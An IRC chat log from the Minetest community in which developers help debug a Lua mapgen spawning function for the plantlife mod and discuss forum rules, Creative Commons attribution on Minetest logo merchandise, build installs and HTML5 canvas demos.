probably just a dedicated server |
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celeron55 |
dunno though; i could ask but it doesn't really matter |
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VanessaE |
RealBadAngel: I'm working on an extension to plantlife to allow for mapgen-based spawning. |
| 14:20 |
RealBadAngel |
cool |
| 14:21 |
RealBadAngel |
i will finish later today trees framework |
| 14:22 |
VanessaE |
RealBadAngel: http://pastebin.com/t5FF27Aq |
| 14:22 |
RealBadAngel |
once done i will upload it to github and let you know |
| 14:22 |
VanessaE |
look suitable to you? I'm not used to working with the register_on_generated() call |
| 14:23 |
RealBadAngel |
look serious, we will see how it will work ;) |
| 14:23 |
VanessaE |
(sometimes I hate pastebin for enforcing line lengths... *grumble*) |
| 14:23 |
VanessaE |
(read it in "raw" view, it's less jumbled) |
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celeron55 |
minetest.register_on_generated(local searchblocks = table.getn(minet... |
| 14:24 |
celeron55 |
an interesting function definition for sure 8) |
| 14:25 |
VanessaE |
celeron55: I've never used this call before. |
| 14:25 |
VanessaE |
so I don't expect this code to work yet |
| 14:25 |
VanessaE |
this is just an outline until I functioanlize the bulk of the code that'll be inside there |
| 14:27 |
celeron55 |
it might work if you add the missing pieces, yes |
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VanessaE |
RealBadAngel: how's this look? http://paste.ubuntu.com/1545579/ |
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VanessaE |
(my new function names suck..) |
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thexyz |
wtf, fuckton of params |
| 14:46 |
thexyz |
i think you should make them into a table |
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VanessaE |
can't. the API needs to remain compatible with old stuff |
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thexyz |
well, then make it compatible |
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PilzAdam |
check if the first param is a table; if yes read the table if not read the other params |
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VanessaE |
no need, this format works fine...besides, I'm too lazy to change it :D |
| 14:51 |
thexyz |
PilzAdam: +1 |
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thexyz |
what if I want to change tempmax only? |
| 14:52 |
thexyz |
spawn_on_surfaces(nil,nil,nil,nil,nil,nil,nil,fuck, ... my_tempmax) |
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VanessaE |
lol |
| 14:52 |
VanessaE |
it doesn't quite work like that :-) |
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thexyz |
huh? |
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Kacey |
hello |
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VanessaE |
hey kacey |
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Kacey |
i think i just fixed my battery |
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Kacey |
perhaps... |
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Kacey |
well i have to go to school |
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sfan5 |
hi guys |
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VanessaE |
greetz sfan5 |
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sfan5 |
my hdd/mainboard broke and i'm currently setting up my win32 minetest builds environment on a different computer... |
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thexyz |
"i'm currently restoring from backup" would fit better |
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sfan5 |
yeah |
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Muadtralk |
anyone know how to get rid of a virus on linux? |
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* Muadtralk |
and how its even remotely possible I got one? |
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sfan5 |
which virus? |
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Muadtralk |
issue being I cant find it |
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Muadtralk |
but something is sucking my CPU with a straw |
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sfan5 |
have you looked at the process list |
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Muadtralk |
nothing is using that much |
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sfan5 |
hm |
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Exio |
the problem is in Layer 8, i think |
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celeron55 |
i wonder how he knows something is sucking CPU if not from the process list |
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leo_rockway |
pebkac |
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leo_rockway |
also, hello everyone |
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leo_rockway |
is there any video of the particles in core? |
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PilzAdam |
I only know some WIP videos by Jeija |
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sfan5 |
are particles in master? |
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PilzAdam |
yep |
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sfan5 |
theres a win build coming ( if i didn't forgot to install cmake..) |
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PilzAdam |
thexyz already has some win builds (with particles), I guess |
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thexyz |
yes |
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sfan5 |
the computer i have to use for win builds now is slow, it takes 35 secs to compile lua.. |
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sfan5 |
*now, is slow |
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Exio |
how many time for compiling minetest? |
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sfan5 |
dunno, maybe 15 mins |
| 16:27 |
Exio |
~30 minutes here :P |
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leo_rockway |
maybe I'll install the win build. I want to test all the new stuff! |
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rubenwardy |
hi? |
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Exio |
hai |
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klunk |
hi |
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PilzAdam |
VanessaE, look what your 512px TP does to my ram: http://www.zimg.eu/i/66831251 |
| 17:06 |
VanessaE |
yup, that's about right |
| 17:06 |
VanessaE |
turn off item visual preloading |
| 17:06 |
VanessaE |
that'll help |
| 17:07 |
PilzAdam |
its already disabled |
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VanessaE |
how much RAM> |
| 17:07 |
VanessaE |
? |
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PilzAdam |
4 GiB |
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VanessaE |
AMD64 build? |
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PilzAdam |
yep |
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VanessaE |
(well, 64 bit anyway) |
| 17:08 |
VanessaE |
well what can I say, MT's memory management needs....work. :-) |
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PilzAdam |
well, 3.83 GiB |
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PilzAdam |
(4 108 320 768 Bytes) |
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VanessaE |
I use the 256px size these days; 512px just doesn't work well anymore for me :( |
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PilzAdam |
I still get > 60 FPS with 512+ All filters |
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VanessaE |
not me, I can't even sustain 30 fps anymore |
| 17:11 |
VanessaE |
probably shitty video drivers or something |
| 17:12 |
Exio |
i don't have lagspikes or anything with your HD texture pack VanessaE, but only with the default "game" |
| 17:12 |
Exio |
with more mods i can't even play, minetest just eats my entire ram |
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airlynx |
VanessaE, I can't enter your world, it's stuck on %100 media but not loading anything |
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thexyz |
fuck this shit http://forum.minetest.net/viewtopic.php?pid=64585#p64585 |
| 17:16 |
thexyz |
suggestion: ban people for smileys |
| 17:16 |
PilzAdam |
+1 |
| 17:16 |
VanessaE |
thexyz: no. |
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rubenwardy |
motion carried |
| 17:16 |
PilzAdam |
:-) |
| 17:17 |
airlynx |
nevermind |
| 17:17 |
rubenwardy |
(thats a +1 from me) |
| 17:17 |
VanessaE |
airlynx: it takes a while to sign in. |
| 17:17 |
thexyz |
VanessaE: why not? i've got eye cancer |
| 17:17 |
VanessaE |
hm, server's lagging, but it does sign in.. |
| 17:17 |
airlynx |
I saw that it was taking a while to download media so I left the computer, when I came back it was just sitting at %100 and I panicked, lol |
| 17:17 |
thexyz |
because of that post |
| 17:18 |
VanessaE |
airlynx: sign out/in. I restarted it. |
| 17:18 |
VanessaE |
bbl |
| 17:19 |
klunk |
please don't ban people with a moderate use of smileys :-) , cause I rarely fail with them :-) |
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celeron55 |
thexyz: smileys are disabled on the forum for a reason |
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klunk |
on forums ? sorry |
| 17:20 |
klunk |
this is understundable |
| 17:20 |
thexyz |
hm.. can we disable animated avatars? |
| 17:20 |
celeron55 |
thexyz: you are free to warn of a ban, and then ban |
| 17:20 |
rubenwardy |
they attach smilies with the [img] from this site: http://www.santafemods.com/Smileys.htm |
| 17:21 |
klunk |
Could you disable "more than 500 mails feature", please ? ;-))))) |
| 17:21 |
thexyz |
um? |
| 17:21 |
klunk |
I mean more than 500/2months |
| 17:22 |
celeron55 |
added "Graphical smileys are disallowed." to rules |
| 17:22 |
thexyz |
great |
| 17:22 |
VanessaE |
I need to call find_nodes_in_area() from within minetest.register_on_generated()....what's the right syntax in that case? |
| 17:22 |
klunk |
I wich (it is a dream) noone could flood with a lot of crappy messages the forum |
| 17:22 |
rubenwardy |
"not allowed" would be better grammatically |
| 17:23 |
celeron55 |
also, i guess i'll add same for animated avatars |
| 17:23 |
klunk |
because when you are new, you have to came across a desesperately huge amount of bullshit before have a info |
| 17:23 |
PilzAdam |
VanessaE, http://dev.minetest.net/EnvRef |
| 17:24 |
thexyz |
klunk: that'd be as great as punching people in the face over tcp/ip |
| 17:24 |
PilzAdam |
VanessaE, minp and maxp are passed to register_on_generated() so its easy to get them |
| 17:24 |
VanessaE |
PilzAdam: I don't understand what "EnvRef" means and it isn't explained anywhere. |
| 17:24 |
thexyz |
wait, >Basically ServerEnvironment and ServerMap combined. Can be gotten via minetest.env |
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PilzAdam |
minetest.env |
| 17:24 |
klunk |
thexyz: yes, this was not a real proposition, but problems is still here |
| 17:24 |
VanessaE |
12:25:07: ERROR[main]: ...minetest/mods/minetest/plantlife/plants_lib/init.lua:194: attempt to index field 'env' (a nil value) |
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VanessaE |
local searchblocks = table.getn(minetest.env:find_nodes_in_area(minp, maxp, ssurface)) |
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PilzAdam |
VanessaE, be sure to put a : after env, like minetest.env:set_node() |
| 17:25 |
VanessaE |
(the affected code) |
| 17:25 |
klunk |
thexyz: don't you think people have usually more than 10 interresting stuffs to post by day ? :-) |
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thexyz |
klunk: limits are bad |
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thexyz |
VanessaE: pastebin full code |
| 17:26 |
klunk |
thexyz: (sorry, I just read you do something =>forget me) |
| 17:27 |
VanessaE |
http://paste.ubuntu.com/1546113/ |
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klunk |
thexyz: totaly agree with that |
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VanessaE |
thexyz: why doesn't that code (well, line 49 of the paste) work? |
| 17:32 |
thexyz |
VanessaE: can you provide example call to plantslib:generate_on_surfaces? (the one that produces such error) |
| 17:32 |
VanessaE |
(also, when I said it "isn't explained anywhere" I meant the regular api.txt from the minetest repo) |
| 17:32 |
VanessaE |
sure |
| 17:32 |
VanessaE |
sec\ |
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VanessaE |
http://paste.ubuntu.com/1546131/ |
| 17:33 |
Calinou |
high five for ubuntu pastebin |
| 17:34 |
Calinou |
"maximim" => "maximum" :P |
| 17:34 |
VanessaE |
ignore the "jungletree_seed_diff" and wrong comments here and there, this started as a copy&paste from some code that was used for an ABM, I'm transitioning some code to work from the mapgen rather than ABM |
| 17:34 |
VanessaE |
Calinou: oops :) |
| 17:35 |
VanessaE |
thexyz: I figure, first I'll just generate something random like yellow wool just so I can see it showing up brightly against other stuff. |
| 17:35 |
VanessaE |
then replace that with the real code. |
| 17:38 |
klunk |
I wish some experimented modders here, explain a bit to me about this mod, http://forum.minetest.net/viewtopic.php?id=4491, what is weird with that; I'm only interrested by the bees and beehives part. |
| 17:38 |
klunk |
hu, please |
| 17:38 |
thexyz |
VanessaE: you forgot >plantslib = {}, though it seems to be not the only issue |
| 17:39 |
VanessaE |
thexyz: that's at the start of the plants lib init.lua |
| 17:39 |
VanessaE |
I just didn't paste the irrelevant stuff |
| 17:39 |
thexyz |
yeah, i figured it out |
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thexyz |
well, your problem is quite simple |
| 17:39 |
VanessaE |
I suck? |
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VanessaE |
:-) |
| 17:40 |
thexyz |
you call register_on_generated(function()), that way it calls function() and then when on_generated occurs on_generated calls function()(), to make it work your function should return function |
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thexyz |
that simple! |
| 17:40 |
VanessaE |
O.O |
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PilzAdam |
Lua is so beautiful |
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thexyz |
that's called closures |
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thexyz |
VanessaE: http://bpaste.net/show/71197/ |
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thexyz |
that's how it should be |
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thexyz |
though there are some other errors |
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VanessaE |
that seems...odd. |
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marktraceur |
All right, functional languages! Woo! |
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marktraceur |
Python decorators, by the way, are the same thing. |
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VanessaE |
thexyz: I don't understand (even after reading about it) why such syntax is necessaru |
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VanessaE |
necessary. |
| 17:50 |
VanessaE |
can someone explain it in English please? :-) |
| 17:50 |
marktraceur |
VanessaE: Basically it's a way to introduce a new scope where there otherwise wouldn't be one |
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thexyz |
=( |
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marktraceur |
OK, wow, that is a large number of arguments |
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thexyz |
that's why i suggested VanessaE to use table instead |
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VanessaE |
well it runs now (after fixing a wrongly-used table.getn() call also) but it ain't actually adding anything. |
| 17:54 |
VanessaE |
at least it doesn't crash |
| 17:54 |
nisio |
i installed minetest through ubuntu software center anybody know what version it is? |
| 17:54 |
VanessaE |
nisio: probably 0.3.x which is way outdated |
| 17:54 |
PilzAdam |
very very outdated |
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Calinou |
nisio: try my one line install/compile command if you want to install latest version easily |
| 17:55 |
PilzAdam |
Calinou, fix your changelog: "* Added particles when digging blocks (Jeija)" is by Jeija & PilzAdam |
| 17:56 |
nisio |
thanks |
| 17:56 |
VanessaE |
Calinou: your one-line install is broken |
| 17:56 |
Calinou |
http://forum.minetest.net/viewtopic.php?id=3837 |
| 17:56 |
Calinou |
VanessaE: explain? |
| 17:56 |
VanessaE |
Calinou: you left out -DRUN_IN_PLACE= |
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thexyz |
>This is intended: this one-line script is not intended for "portable" installs. The user data goes to .minetest, which means the whole minetest folder is cleaner |
| 17:57 |
Calinou |
updated changelog: http://dl.dropbox.com/u/82342922/0.4.x-changelog.txt |
| 17:57 |
Calinou |
VanessaE: feature, not a bug |
| 17:57 |
Calinou |
user data goes to ~/.minetest and it is much better this way |
| 17:57 |
Calinou |
like a packaged install |
| 17:58 |
VanessaE |
Calinou: for some people your one-liner produces broken installs. |
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PilzAdam |
I dont understand people not using run in place |
| 17:58 |
Calinou |
some people = who? what's broken? |
| 17:58 |
Calinou |
PilzAdam: having their configuration in a single folder is better than putting user data in the same folder as program data |
| 17:58 |
VanessaE |
I don't remember now who it was. |
| 17:59 |
PilzAdam |
Calinou, maybe add both scripts to the topic so people can choose |
| 17:59 |
Calinou |
good idea :P |
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nisio |
cd ~ |
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Calinou |
readded spaces between ";"s too, more readable |
| 18:03 |
PilzAdam |
the changelog in the software center tells something about a "Michael Gilbert <mgilbert debian.org>", maybe someon should mail him that there are updates? |
| 18:03 |
Calinou |
debian bug tracker would like to have a talk with you |
| 18:03 |
Calinou |
http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=minetest;dist=unstable |
| 18:04 |
thexyz |
VanessaE: http://www.lua.org/pil/6.1.html |
| 18:04 |
VanessaE |
thexyz: I already read that. |
| 18:05 |
VanessaE |
and as with most every other part of the PIL, it's gibberish to someone like me who is used to simpler languages. |
| 18:05 |
thexyz |
did that help? |
| 18:05 |
thexyz |
oh |
| 18:05 |
VanessaE |
I'm afraid not |
| 18:05 |
VanessaE |
I had to go elsewhere to get something resembling English :) |
| 18:06 |
marktraceur |
"PIL" = "Programming in Lua" and "Python Imaging Library" |
| 18:06 |
marktraceur |
I was confused for a sec |
| 18:06 |
klunk |
ok, I will try another time, later :-) ....cause I have to go, now, bye ! |
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OldCoder |
Hi |
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OldCoder |
marktraceur, Hello |
| 18:09 |
marktraceur |
OldCoder: What up? |
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Octupus |
Hello |
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VanessaE |
thexyz: all right, what other errors? All of the parameters inside search_surfaces() are coming up a nil |
| 18:18 |
VanessaE |
-a |
| 18:19 |
VanessaE |
this is all new territory for me |
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VanessaE |
(apropos, considering I'm doing this *while generating* new territory ;) ) |
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Octupus |
Can any1 help me with the animals mod on OC servers? |
| 18:20 |
Octupus |
how do i catch a chicken or something |
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thexyz |
oh, wait |
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thexyz |
i did it wrong |
| 18:22 |
KikaRz |
Hello! |
| 18:22 |
KikaRz |
VanessaE is there? |
| 18:22 |
thexyz |
VanessaE: http://bpaste.net/show/71209/ |
| 18:22 |
VanessaE |
hi |
| 18:22 |
thexyz |
that one should work |
| 18:22 |
KikaRz |
Cool... New Particles. |
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rubenwardy |
(5:58:12 PM) PilzAdam: I dont understand people not using run in place |
| 18:22 |
rubenwardy |
+1 |
| 18:22 |
VanessaE |
thexyz: NOW that makes more sense! |
| 18:23 |
KikaRz |
rubenwardy |
| 18:23 |
KikaRz |
Well, the better for some people, is not using RUN IN PLACE |
| 18:23 |
KikaRz |
reason: Roaming is enabled in Windows, so, they can make same way as Minecraft. |
| 18:23 |
marktraceur |
Oh, rubenwardy, erlehmann got an email from cafepress last night |
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Octupus |
yea |
| 18:23 |
Octupus |
if you want to see in windows you type in |
| 18:24 |
Octupus |
%appdata% |
| 18:24 |
KikaRz |
Aham. |
| 18:24 |
marktraceur |
rubenwardy: They took down the merchandise with the logo on it because you didn't attribute him - not his fault, their policy |
| 18:24 |
leo_rockway |
I don't use run in place in GNU/Linux. I compile using my package manager, so all my stuff is neatly put where it belongs. |
| 18:24 |
VanessaE |
thexyz: still doesn't work, but at least the variables are getting through |
| 18:24 |
VanessaE |
oh wait |
| 18:25 |
VanessaE |
there. |
| 18:25 |
thexyz |
marktraceur: how should we attribute him? |
| 18:25 |
VanessaE |
it ain't adding nothin' to the map, but the code no longer crashes. that's a start. |
| 18:26 |
marktraceur |
thexyz: I'd imagine that a tiny bit of sideways text saying "(C) Nils Whateverhislastnameis 2011, CC-BY-SA" |
| 18:26 |
KikaRz |
VanessaE, tell me the changelog |
| 18:26 |
marktraceur |
...would do it |
| 18:27 |
VanessaE |
KikaRz: what changelog? |
| 18:27 |
KikaRz |
plz |
| 18:27 |
KikaRz |
from minetest |
| 18:27 |
VanessaE |
oh |
| 18:27 |
VanessaE |
ask Calinou :-) |
| 18:27 |
PilzAdam |
http://dl.dropbox.com/u/82342922/0.4.x-changelog.txt |
| 18:27 |
VanessaE |
or PilzAdam .. |
| 18:27 |
KikaRz |
Pilz, that is updated? |
| 18:27 |
KikaRz |
i wanted "snapshot" changelogs |
| 18:28 |
PilzAdam |
umm, read the first line? |
| 18:28 |
KikaRz |
ah |
| 18:28 |
KikaRz |
sry. |
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rubenwardy |
(6:24:23 PM) marktraceur: rubenwardy: They took down the merchandise with the logo on it because you didn't attribute him - not his fault, their policy |
| 18:29 |
rubenwardy |
they took down all merchandise |
| 18:30 |
rubenwardy |
"Content Usage Policy Warning This image has been flagged as a possible violation of the CafePress Content Usage Policy and has been set to “pending status†which means it cannot be used on any products or available for purchase." |
| 18:32 |
marktraceur |
rubenwardy: Not all of it, the black + gold one is still there |
| 18:32 |
rubenwardy |
oh yeah |
| 18:32 |
marktraceur |
rubenwardy: I'd suggest adding attribution and then they can allow the logo back on |
| 18:33 |
rubenwardy |
It is not the logo, it is the name "minetest" |
| 18:33 |
rubenwardy |
The dungeon master tshirt had no logo |
| 18:34 |
rubenwardy |
*not just the logo |
| 18:34 |
marktraceur |
rubenwardy: Minetest isn't trademarked, though |
| 18:34 |
marktraceur |
Oh |
| 18:34 |
rubenwardy |
yeah, I know |
| 18:34 |
marktraceur |
The DM graphic is probably CC-BY-SA also |
| 18:35 |
marktraceur |
Wait, shouldn't the Mese graphic be CC-BY-SA? |
| 18:35 |
marktraceur |
Why didn't they take that down? |
| 18:35 |
rubenwardy |
celeron55 gave permission for both of those |
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thexyz |
marktraceur: can't we, say, add that to receipt? |
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marktraceur |
thexyz: I don't think so, because you need to display attribution wherever the work is, I think |
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marktraceur |
rubenwardy: Wouldn't matter, he doesn't hold the copyright, erlehmann does |
| 18:42 |
sfan5 |
new minetest win32 build: http://sfan.sf.funpic.de/minetest-builds/c55/minetest-0.4.4-d1-c691d61-win32.7z |
| 18:42 |
thexyz |
marktraceur: can we ask erlehmann to make an exception? |
| 18:43 |
rubenwardy |
celeron55 holds the copyright of the DM + Mese, doesn't he? |
| 18:43 |
thexyz |
i doubt anyone would wear t-shirt with copyright notice |
| 18:43 |
marktraceur |
thexyz: First, people do all the time, it doesn't have to be a *big* copyright notice |
| 18:44 |
marktraceur |
thexyz: Second, erlehmann could make an exception, but largely the best way for that to happen is to use CC0, which would sort of defeat the purpose of CC-BY-SA |
| 18:44 |
thexyz |
i examined my t-shirt right now and i can't find any copyright notice |
| 18:44 |
thexyz |
well, anyway |
| 18:44 |
nisio |
i could be on the tag at the neck |
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sfan5 |
minetest t-shirts? |
| 18:45 |
thexyz |
probably, but can we add it to the tag? |
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nisio |
yeah that might be a problem |
| 18:46 |
marktraceur |
thexyz: You might not be wearing one with a copyrighted image |
| 18:46 |
marktraceur |
thexyz: I've seen a lot of comic book t-shirts with that sort of thing |
| 18:46 |
jojoa1997 |
what was copyrighted |
| 18:46 |
thexyz |
that's just weird |
| 18:46 |
marktraceur |
jojoa1997: The Minetest logo, and others |
| 18:46 |
marktraceur |
thexyz: It's tiny, I swear |
| 18:47 |
nisio |
well minetest is GPL is the logo copyrighted |
| 18:47 |
jojoa1997 |
the logo is copyrighted |
| 18:47 |
nisio |
hmm |
| 18:47 |
rubenwardy |
you can only put stuff on the front of the T-Shirt |
| 18:48 |
nisio |
you could incorporate it into the design |
| 18:48 |
marktraceur |
rubenwardy: Put some tiny text on one side of it or something |
| 18:48 |
PilzAdam |
nisio, Minetest is LGPL |
| 18:48 |
thexyz |
we should ask erlehmann to release it under cc0 then |
| 18:48 |
marktraceur |
rubenwardy: It's really not that big a deal |
| 18:49 |
thexyz |
yes, instead of t-shirt with logo & "minetest", you'll get one with large copyright notice, great |
| 18:49 |
sfan5 |
^ |
| 18:49 |
marktraceur |
thexyz: Why do you assume it has to be large? |
| 18:50 |
marktraceur |
thexyz: It can be like, size 4 font. |
| 18:50 |
thexyz |
still, it'll look odd |
| 18:50 |
marktraceur |
It just has to have the information on it somewhere. |
| 18:50 |
* marktraceur |
will show you |
| 18:50 |
marktraceur |
rubenwardy: Do you have the image of the shirt up somewhere? |
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PilzAdam |
hello meldrian |
| 18:53 |
rubenwardy |
http://multa.bugs3.com/upload/tshirts/ |
| 18:53 |
VanessaE |
yay! my code works :-) thexyz: thanks for the tip, after a few syntax errors it's working as expected. |
| 18:53 |
VanessaE |
http://digitalaudioconcepts.com/vanessa/hobbies/minetest/screenshots/screenshot_1325527474.png |
| 18:53 |
VanessaE |
the yellow wool represents the output of the algorithm. |
| 18:54 |
Calinou |
inb4 someone suggests wool trees |
| 18:54 |
VanessaE |
Calinou: hah! in this case, just bright, easy-to-spot placeholders :-) |
| 18:54 |
Calinou |
VanessaE: idea: mushrooms near trees? :-D |
| 18:54 |
Calinou |
...then you could make soup like in minecraft |
| 18:54 |
VanessaE |
mushrooms near trees would be easy actually. |
| 18:55 |
rubenwardy |
(hint, food mod contains soups) |
| 18:55 |
rubenwardy |
no mushroom ones though... |
| 18:55 |
* VanessaE |
takes a break and goes to snoop on the remodeling contractor..) |
| 18:55 |
* rubenwardy |
loves HTML5 and Canvases |
| 18:57 |
mauvebic |
canvasses? |
| 18:58 |
Calinou |
canvices? |
| 18:58 |
Calinou |
*vertex plural troll* |
| 18:58 |
mauvebic |
what are the differences between html4 and 5? (i learned on 2/3 lol) |
| 18:59 |
rubenwardy |
http://multa.bugs3.com/file_upload.php?folder=tshirts |
| 18:59 |
rubenwardy |
HTML5 is a lot better |
| 18:59 |
mauvebic |
thats what they say about each new version of everything :P |
| 18:59 |
marktraceur |
rubenwardy, thexyz: http://marktraceur.info/shared/minetest_logo.png |
| 18:59 |
rubenwardy |
http://lmgtfy.com/?q=differences+between+html4+and+5%3F |
| 18:59 |
marktraceur |
Change to style and so on |
| 19:00 |
mauvebic |
theres tons of crap on google that focuses on a narrow subject or feature... |
| 19:00 |
Calinou |
marktraceur: for people's eyes sakes, use the svg logo |
| 19:01 |
mauvebic |
dont forget your results are your results mostly, they personalized for everyone these days |
| 19:01 |
* Calinou |
vomits a frame pointer |
| 19:01 |
* marktraceur |
doesn't care |
| 19:01 |
Calinou |
also, use ©, not copyright |
| 19:01 |
marktraceur |
It was just an example |
| 19:01 |
Calinou |
shorter :P |
| 19:01 |
rubenwardy |
how about |
| 19:01 |
rubenwardy |
"Minetest Logo (c) to <name>, CC-BY SA (c)" |
| 19:01 |
rubenwardy |
without the last (c) |
| 19:01 |
marktraceur |
rubenwardy: The second (c) isn't necessary, yeah |
| 19:01 |
Calinou |
can't you write CC BY-SA 3.0 instead of attribution-sharealike? |
| 19:01 |
marktraceur |
rubenwardy: CC-BY-SA might not work. But you definitely need 3.0. |
| 19:02 |
Calinou |
:| |
| 19:02 |
* marktraceur |
will be fine with CC-BY-SA, just not sure who won't be |
| 19:02 |
marktraceur |
Ideally it would include a link to the license |
| 19:03 |
marktraceur |
(there are short versions) |
| 19:03 |
rubenwardy |
nah |
| 19:03 |
mauvebic |
damn lol |
| 19:04 |
rubenwardy |
mauvebic: http://electronicdesign.com/site-files/electronicdesign.com/files/archive/electronicdesign.com/content/content/64491/64491_fig1.jpg |
| 19:04 |
marktraceur |
.... |
| 19:05 |
marktraceur |
WebServerError: Your web server sucks, find a better one |
| 19:05 |
mauvebic |
hmm, so it eliminates the need for CSS lol i though theyd have sql support by now |
| 19:05 |
rubenwardy |
no, it does not |
| 19:05 |
rubenwardy |
it makes the code simpler to understand |
| 19:06 |
rubenwardy |
<div id="header"> == <header> |
| 19:07 |
mauvebic |
ok not that different then |
| 19:07 |
marktraceur |
The problem being that not every website is exactly the same. |
| 19:08 |
mauvebic |
were getting there tho lol |
| 19:08 |
rubenwardy |
http://spielzeugz.de/html5/liquid-particles.html |
| 19:08 |
rubenwardy |
html5 canvas |
| 19:08 |
rubenwardy |
http://net.tutsplus.com/articles/web-roundups/21-ridiculously-impressive-html5-canvas-experiments/# |
| 19:08 |
marktraceur |
http://html5doctor.com/element-index/#aside |
| 19:08 |
marktraceur |
*not* a sidebar. |
| 19:09 |
marktraceur |
At least not in the way they mean. |
| 19:09 |
mauvebic |
do they show the code? |
| 19:10 |
mauvebic |
what drives me nuts about the big corporate sites today is the 50 or so links on the homepage that lead to the same 4-5 sections lol |
| 19:10 |
rubenwardy |
yes |
| 19:10 |
rubenwardy |
in javascript links |
| 19:10 |
rubenwardy |
<script type="text/javascript" charset="utf-8" src="mootools.js"></script> |
| 19:10 |
rubenwardy |
etc |
| 19:10 |
meldrian |
hello PilzAdam :) |
| 19:10 |
mauvebic |
and these fuck-ugly disproportionate pop-up/rolldown/fadein menus when youre trying to read and you accidentally hover |
| 19:12 |
mauvebic |
its like desktops are getting dumber and websites more complex lol |
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rubenwardy |
mauvebic: lol |
| 19:19 |
mauvebic |
if xfce falls, ill have to retreat to openbox lol |
| 19:19 |
mauvebic |
and then we will take the fight to the gates of mordor |
| 19:19 |
rubenwardy |
I like this: http://hakim.se/experiments/html5/trail/03/ |
| 19:22 |
rubenwardy |
cool |
| 19:22 |
rubenwardy |
http://www.nihilogic.dk/labs/pocket_full_of_html5/#presets/pre3d_eq.js |
| 19:23 |
mauvebic |
its not doing anything |
| 19:23 |
rubenwardy |
press the play button |
| 19:23 |
rubenwardy |
to the right |
| 19:25 |
mauvebic |
had to try it in firefox (which reminds me of starting up the new yorker 77...) lol |
| 19:27 |
rubenwardy |
game development tutorials using canvas |
| 19:27 |
rubenwardy |
http://www.canvasdemos.com/2009/07/09/game-development-tutorials/ |
| 19:31 |
mauvebic |
youd think someone could write a minetest world visitor with that |
| 19:31 |
mauvebic |
though i doubt a browser could handle that much media at once lol |
| 19:33 |
rubenwardy |
"onomatopia" |
| 19:33 |
rubenwardy |
https://github.com/xyzz/onomatopoeia/ |
| 19:33 |
rubenwardy |
http://minetest.ru/onomatopoeia/ |
| 19:33 |
rubenwardy |
http://minetest.ru/onomatopoeia/ |
| 19:33 |
rubenwardy |
^ that one |
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mauvebic |
isnt that the isometric mapper? |
| 19:34 |
rubenwardy |
yeah |
| 19:34 |
mauvebic |
its in uhm, python? |
| 19:34 |
mauvebic |
i posted a 30mg pic of my space map with that |
| 19:34 |
marktraceur |
Oh, that's what it is |
| 19:35 |
mauvebic |
which what? lol |
| 19:35 |
marktraceur |
I think someone asked once "How's onomatopoeia doing" and I interrupted with "KSSSSSHHHHHHHHH" |
| 19:35 |
marktraceur |
Now I feel a little sorry :/ |
| 19:35 |
mauvebic |
http://ompldr.org/vZ3cweA |
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PilzAdam |
marktraceur, it was me :-) |
| 19:40 |
Octupus |
Im octu am can some1 help me get a new idea for a mod that a newbie modder can handle? |
| 19:40 |
mauvebic |
im updating that map now, though it doesn't work so well for my other map, buildings too tall lol |
| 19:40 |
kaeza |
hey all |
| 19:41 |
Octupus |
hewwo |
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mauvebic |
i cant decide between regular cars and hover cars :/ |
| 19:45 |
mauvebic |
i dont think entities can climb nodeboxes like players do ? |
| 19:45 |
kaeza |
Octupus, what idea? |
| 19:45 |
kaeza |
mauvebic, regular cars |
| 19:45 |
Octupus |
kaeza,? |
| 19:46 |
kaeza |
<Octupus> Im octu am can some1 help me get a new idea for a mod that a newbie modder can handle? |
| 19:46 |
Octupus |
i need an idea |
| 19:46 |
mauvebic |
wouldn't roads have to be all the same elevation for regular cars to work? |
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* VanessaE |
is back |
| 19:48 |
mauvebic |
this highway works for both http://www.zimg.eu/i/761101166 |
| 19:48 |
kaeza |
wb V |
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| 20:03 |
mauvebic |
epic fail of 2013: http://bigstory.ap.org/article/brazil-police-officer-shot-dead-fake-holdup |
| 20:04 |
Calinou |
brazil police officer: shot dead fake holdup |
| 20:04 |
Calinou |
how can brazil office policers *shot* holdups? |
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mauvebic |
a cop thought it would be funny to fake a hold up, his partner shot him dead lol |
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Calinou |
teamkiller? |
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| 20:11 |
* Jordach |
is still feeling sick |
| 20:11 |
Jordach |
hey Calinou |
| 20:11 |
Calinou |
hi |
| 20:11 |
* Jordach |
can barely think |
| 20:12 |
mauvebic |
gin, if it doesn't cure the cold ittl at least make the germs dizzy |
| 20:12 |
* marktraceur |
has heard tequila, but it was from an hispanic man. Gin might work too. |
| 20:13 |
Calinou |
Jordach: buy a CPU fan, put it on your head, ???, PROFIT |
| 20:13 |
* Jordach |
will only drink wheat / ethanol based beer |
| 20:13 |
Calinou |
marktraceur: alcohol is waste of money 8) |
| 20:13 |
* Calinou |
drinks no beer, pwnt |
| 20:14 |
marktraceur |
Calinou: I disagree heavily. But that's not your problem :) |
| 20:14 |
Jordach |
if we ever have a minetestcon, im bringing the beer |
| 20:14 |
Calinou |
my i7 agrees |
| 20:14 |
mauvebic |
i7's dont make all your colleagues and family more tolerable ;) |
| 20:15 |
Calinou |
the extreme edition ones do, since they get hot so easily, useful in winter |
| 20:15 |
Jordach |
(considering i earn 600 euro due to my mental illness, also, i cant fend for myself..sometimes) |
| 20:15 |
Jordach |
Calinou, Intel XEON for gaming :P |
| 20:16 |
Calinou |
no! AMD FX 4100 is better! |
| 20:16 |
Jordach |
Calinou, www.chillblast.com/Chillblast-Fusion-Leviathan.html |
| 20:16 |
Calinou |
fun fact #121: my CPU has the highest power consumption of all quad core intel CPUs |
| 20:17 |
Jordach |
fun fact #1: my old PC can still kick Calinou's PC's ass at reliability |
| 20:17 |
Calinou |
lol, the stripes on the background make my screen "flicker" a bit |
| 20:17 |
Jordach |
(yes, mines that old its fixable and cheap..p4's are common now :P ) |
| 20:17 |
Calinou |
"Windows 7 Ultimate 64bit OEM" <= you don't put windows on high end computers (and low end ones too...) |
| 20:18 |
Calinou |
Jordach: mine is fixable too but less cheap :-D |
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| 20:18 |
Jordach |
Calinou, theres a reason: anything else cant address 30-40 odd gb |
| 20:18 |
Octupus |
Hi Jordach |
| 20:18 |
jojoa1997 |
can anyone test going on this server i cant get on |
| 20:18 |
jojoa1997 |
Ip Address: diamondmining.no-ip.org Port: 30000 |
| 20:18 |
Calinou |
almost all desktop motherboards support 32GB |
| 20:18 |
Jordach |
Calinou, not mine, just 2gb over here |
| 20:19 |
Calinou |
and linux 64 bit, and 32 bit PAE can both use 32GB RAM |
| 20:19 |
Octupus |
hi jojoa1997 |
| 20:19 |
Calinou |
hi |
| 20:19 |
Jordach |
(then again, this is cheaper) |
| 20:19 |
mauvebic |
